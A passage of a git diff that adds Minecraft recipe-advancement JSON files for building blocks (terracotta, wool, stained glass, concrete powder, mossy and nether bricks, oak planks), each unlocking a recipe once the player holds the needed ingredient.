b/src/data/minecraft/advancements/recipes/building_blocks/light_blue_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/light_blue_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/light_blue_wool.json new file mode 100644 index 00000000..b8ceb40e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/light_blue_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/light_gray_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/light_gray_concrete_powder.json new file mode 100644 index 00000000..86a26129 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/light_gray_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/light_gray_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/light_gray_stained_glass.json new file mode 100644 index 00000000..a1d680cf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/light_gray_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/light_gray_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/light_gray_terracotta.json new file mode 100644 index 00000000..8714a7c8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/light_gray_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/light_gray_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/light_gray_wool.json new file mode 100644 index 00000000..5612c89b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/light_gray_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/lime_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/lime_concrete_powder.json new file mode 100644 index 00000000..949c2150 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/lime_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/lime_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/lime_stained_glass.json new file mode 100644 index 00000000..688689b3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/lime_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/lime_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/lime_terracotta.json new file mode 100644 index 00000000..6cc3bd4a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/lime_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/lime_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/lime_wool.json new file mode 100644 index 00000000..cefd1e47 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/lime_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/magenta_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/magenta_concrete_powder.json new file mode 100644 index 00000000..457f5ab4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/magenta_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/magenta_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/magenta_stained_glass.json new file mode 100644 index 00000000..02a1e289 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/magenta_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/magenta_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/magenta_terracotta.json new file mode 100644 index 00000000..acb7d040 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/magenta_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/magenta_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/magenta_wool.json new file mode 100644 index 00000000..2ca6093c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/magenta_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/magma_block.json b/src/data/minecraft/advancements/recipes/building_blocks/magma_block.json new file mode 100644 index 00000000..4514d9c9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/magma_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magma_block" + ] + }, + "criteria": { + "has_magma_cream": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:magma_cream" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magma_block" + } + } + }, + "requirements": [ + [ + "has_magma_cream", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/melon.json b/src/data/minecraft/advancements/recipes/building_blocks/melon.json new file mode 100644 index 00000000..ef9cb4db --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/melon.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:melon" + ] + }, + "criteria": { + "has_melon": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:melon_slice" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:melon" + } + } + }, + "requirements": [ + [ + "has_melon", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone.json new file mode 100644 index 00000000..344ee2bd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_cobblestone" + ] + }, + "criteria": { + "has_vine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:vine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_cobblestone" + } + } + }, + "requirements": [ + [ + "has_vine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_slab.json new file mode 100644 index 00000000..f0236c28 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_cobblestone_slab" + ] + }, + "criteria": { + "has_mossy_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_cobblestone_slab" + } + } + }, + "requirements": [ + [ + "has_mossy_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_slab_from_mossy_cobblestone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_slab_from_mossy_cobblestone_stonecutting.json new file mode 100644 index 00000000..ffa06a39 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_slab_from_mossy_cobblestone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_cobblestone_slab_from_mossy_cobblestone_stonecutting" + ] + }, + "criteria": { + "has_mossy_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_cobblestone_slab_from_mossy_cobblestone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_mossy_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_stairs.json new file mode 100644 index 00000000..94e0903a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_cobblestone_stairs" + ] + }, + "criteria": { + "has_mossy_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_cobblestone_stairs" + } + } + }, + "requirements": [ + [ + "has_mossy_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_stairs_from_mossy_cobblestone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_stairs_from_mossy_cobblestone_stonecutting.json new file mode 100644 index 00000000..f8320b8f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_cobblestone_stairs_from_mossy_cobblestone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_cobblestone_stairs_from_mossy_cobblestone_stonecutting" + ] + }, + "criteria": { + "has_mossy_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_cobblestone_stairs_from_mossy_cobblestone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_mossy_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_slab.json new file mode 100644 index 00000000..b0b84bf0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_stone_brick_slab" + ] + }, + "criteria": { + "has_mossy_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_stone_brick_slab" + } + } + }, + "requirements": [ + [ + "has_mossy_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_slab_from_mossy_stone_brick_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_slab_from_mossy_stone_brick_stonecutting.json new file mode 100644 index 00000000..56d21635 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_slab_from_mossy_stone_brick_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_stone_brick_slab_from_mossy_stone_brick_stonecutting" + ] + }, + "criteria": { + "has_mossy_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_stone_brick_slab_from_mossy_stone_brick_stonecutting" + } + } + }, + "requirements": [ + [ + "has_mossy_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_stairs.json new file mode 100644 index 00000000..79a6956d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_stone_brick_stairs" + ] + }, + "criteria": { + "has_mossy_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_stone_brick_stairs" + } + } + }, + "requirements": [ + [ + "has_mossy_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_stairs_from_mossy_stone_brick_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_stairs_from_mossy_stone_brick_stonecutting.json new file mode 100644 index 00000000..c9f2c343 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_brick_stairs_from_mossy_stone_brick_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_stone_brick_stairs_from_mossy_stone_brick_stonecutting" + ] + }, + "criteria": { + "has_mossy_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_stone_brick_stairs_from_mossy_stone_brick_stonecutting" + } + } + }, + "requirements": [ + [ + "has_mossy_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_bricks.json new file mode 100644 index 00000000..04604a3e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/mossy_stone_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_stone_bricks" + ] + }, + "criteria": { + "has_mossy_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_stone_bricks" + } + } + }, + "requirements": [ + [ + "has_mossy_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_slab.json new file mode 100644 index 00000000..86ca0331 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_brick_slab" + ] + }, + "criteria": { + "has_nether_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_brick_slab" + } + } + }, + "requirements": [ + [ + "has_nether_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_slab_from_nether_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_slab_from_nether_bricks_stonecutting.json new file mode 100644 index 00000000..9bd70257 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_slab_from_nether_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_brick_slab_from_nether_bricks_stonecutting" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_brick_slab_from_nether_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_stairs.json new file mode 100644 index 00000000..88b9a8c9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_brick_stairs" + ] + }, + "criteria": { + "has_nether_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_brick_stairs" + } + } + }, + "requirements": [ + [ + "has_nether_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_stairs_from_nether_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_stairs_from_nether_bricks_stonecutting.json new file mode 100644 index 00000000..12af66be --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/nether_brick_stairs_from_nether_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_brick_stairs_from_nether_bricks_stonecutting" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_brick_stairs_from_nether_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/nether_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/nether_bricks.json new file mode 100644 index 00000000..3c5fe796 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/nether_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_bricks" + ] + }, + "criteria": { + "has_netherbrick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_brick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_bricks" + } + } + }, + "requirements": [ + [ + "has_netherbrick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/nether_wart_block.json b/src/data/minecraft/advancements/recipes/building_blocks/nether_wart_block.json new file mode 100644 index 00000000..5a81132b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/nether_wart_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_wart_block" + ] + }, + "criteria": { + "has_nether_wart": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_wart" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_wart_block" + } + } + }, + "requirements": [ + [ + "has_nether_wart", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/netherite_block.json b/src/data/minecraft/advancements/recipes/building_blocks/netherite_block.json new file mode 100644 index 00000000..c14b4010 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/netherite_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_block" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_block" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/oak_planks.json b/src/data/minecraft/advancements/recipes/building_blocks/oak_planks.json new file mode 100644 index 00000000..8bc07a25 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/oak_planks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_planks" + ] + }, + "criteria": { + "has_logs": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:oak_logs" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_planks" + } + } + }, + "requirements": [ + [ + "has_logs", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/oak_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/oak_slab.json new file mode 100644 index 00000000..81b06c56 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/oak_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_slab" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_slab" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/oak_stairs.json 